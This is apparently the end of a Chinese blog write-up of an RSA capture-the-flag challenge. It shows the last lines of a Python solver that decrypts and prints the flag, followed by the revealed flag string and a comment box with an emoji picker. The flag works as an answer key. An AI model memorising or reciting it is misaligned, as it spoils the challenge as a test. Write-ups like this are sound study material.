        flag = decrypt_and_extract_flag(n1, c, inner)
        print(flag)
        return

    print("[!] 所有 B 都失败了:说明这题的 smooth bound 可能更大,或需要 p-1 stage2。")

if __name__ == "__main__":
    main()

经过解密脚本运行,我们得到了最终的 Flag:

flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇